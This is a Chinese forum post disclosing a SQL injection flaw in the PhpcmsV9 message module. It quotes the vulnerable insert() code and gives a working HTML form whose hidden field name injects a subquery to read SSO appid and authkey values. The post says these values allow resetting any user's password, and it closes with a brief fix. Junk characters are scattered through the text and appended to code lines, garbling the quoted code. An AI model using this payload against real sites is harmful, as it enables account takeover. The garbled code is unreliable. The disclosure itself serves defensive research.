找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1964|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
简要描述:
# Q+ ?2 I) Q+ ?( Q* [- D2 A! `
! y0 X6 N, B+ N/ H第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。1 _: F4 Q2 W, |. R4 @8 a  p; i9 Y

8 v* W9 F0 y, U  C明天再更新下一个漏洞。3 D5 [& C( f* n+ R$ Z0 W7 V; {* W
详细说明:
7 G. I3 Q/ h( V% v- b8 L在/phpcms9/phpcms/modules/message/index.php中有代码如下:
# T( `" ]3 c' c' W5 k, x9 ?0 l: i2 [9 F4 k1 L
$messageid = $this->message_db->insert($_POST['info'],true);
. H' b& P3 Q$ V, m$ b% }6 a$ P; Q4 n( [2 W: c! m
8 f1 I  B1 X! X+ `% ^3 M1 L2 L
insert方法是key value的,代码如下:& b/ N! F$ T' Q! E' n) A1 i
% l6 ]  O% K2 |1 v
public function insert($data, $table, $return_insert_id = false, $replace = false) {4 `) Z- T7 I" [0 D, I3 I. y! d
                if(!is_array( $data ) || $table == '' || count($data) == 0) {
1 _% V  {: b# k3 m                        return false;9 K- ~/ e4 b" i* e* \
                }
; C7 o& h+ n/ F' a4 X  [7 w               
' d7 v' |: L  b* Z                $fielddata = array_keys($data);
$ G& R7 f! [: a                $valuedata = array_values($data);
# Y2 @6 V0 p& \/ e                array_walk($fielddata, array($this, 'add_special_char'));
; o: ^4 ?1 R. S                array_walk($valuedata, array($this, 'escape_string'));; t$ F+ p* c; m0 `. I% N0 T
                9 W/ {6 `( K8 E  N
                $field = implode (',', $fielddata);7 ]  N$ N( ?" w- x" k
                $value = implode (',', $valuedata);
4 C# \9 A& p: r% P' C; U9 V  o  X- |4 i& z8 T+ N0 {
                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
) a* Y, V4 f8 \4 {                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';9 k6 Z& y: G  U5 w( H) T' h& T" W
                $return = $this->execute($sql);
$ g8 S0 ?' \: e' s: X- W7 W: N0 y9 V                return $return_insert_id ? $this->insert_id() : $return;; E( u, A; {3 p* ?! s& n
        }
0 c3 |: y. a+ Z
7 R6 h4 b1 ~+ G7 y' e' ?
4 q6 |8 Q( f4 T3 S' B# u' ~* W嗯,很遗憾的是
- K+ ]. j) a+ @7 d6 ~, o# Y: e
9 Z* ^4 h9 f2 {; u( uarray_walk($fielddata, array($this, 'add_special_char'));
2 p) R) i9 ]% x0 {5 c# J9 P6 ?) }7 {: t/ n, Q" h; z; H1 ?1 K! Q

5 n0 J" T8 d: |# O. V中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
% a, I. f& t1 N! m
. m- n  U) {: Y! w到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
' O1 }" j$ U% ~. m( Z- r, Q0 ^4 L/ J8 N' o) h6 @# n
漏洞证明:7 ?0 q+ f3 E. y, j, O2 c; ~
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。4 g. |8 j1 w  ?

$ @3 _2 H- Y+ O4 g$ w! K4 Y
7 B1 F5 S/ n2 A, E9 u表单如下:用户名什么的得自己改一改。6 _8 c! u7 h  h' O! W# a3 v& J
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
8 P8 a4 O' C' g# t<table width="100%" cellspacing="0" class="table_form">
* I' ?' [5 _9 T6 W4 Z+ O# {<tr>+ D& X5 b/ p5 i+ ?6 v
<th>标 题:</th>
& h1 {+ Y% R* g0 C, Y: Y<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
& t" m$ b$ R# h: {- N# p7 f</tr> $ a: L' d; t. g# }  ]
<tr>
6 B( a1 ~# {+ @$ R! l: m<th>内 容:</th>
9 S* n, f/ S9 T<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
! }4 |4 ~2 G8 c0 z( C</tr>
8 X  R/ V3 H2 d' r- a<input type="hidden" name="info[replyid]" value="2" />
6 X+ E4 @/ \" _; ]8 J& b<input type="hidden" name="info[send_to_id]" value="cc" /> " r! x  @: O8 `1 B
<input type="hidden" name="info[send_from_id]" value="hh">
7 g, |, g) _5 N  \0 L" {- N) c<!-- 漏洞的利用重点在这里开始 -->! k% c( u8 W% R( `
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> ) a, y/ c7 ?5 {  T9 s2 e5 U: {; O! o
<!-- 漏洞的利用重点在这里结束 -->
, B% K9 x, v2 N0 l% S<tr>
0 A5 G+ ~: @: X/ d6 l* f<th>验证码:</th>% c) B& k+ @: v
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>; ^! W) j5 J( d
</tr>% W' W6 _8 ]& \
<tr>
4 s& C( h/ Q. S# M% `3 v4 ^<td></td>
) V3 b. e- L! g7 ~; N<td colspan="2"><label>- x0 N5 v' e  C" y# \
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>) w& g. b( \! q7 a# F& G
</label></td>6 i5 ]' G3 W' _4 w' c3 R
</tr>5 q. l; f# k" c3 h. [% J7 L
</table>
1 v1 r$ M3 b' m! Y0 j1 K5 t) L</form>
- Q( u6 `% t# P! a8 [+ s( A在add_special_char函数内对key做过滤就可以了。
$ }9 \  [- E6 k4 G* e' h
9 V7 O0 D1 S5 _$ N( x
% D/ P8 o# C  t% T) T
: S$ g6 u  M7 H$ A( v( U

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表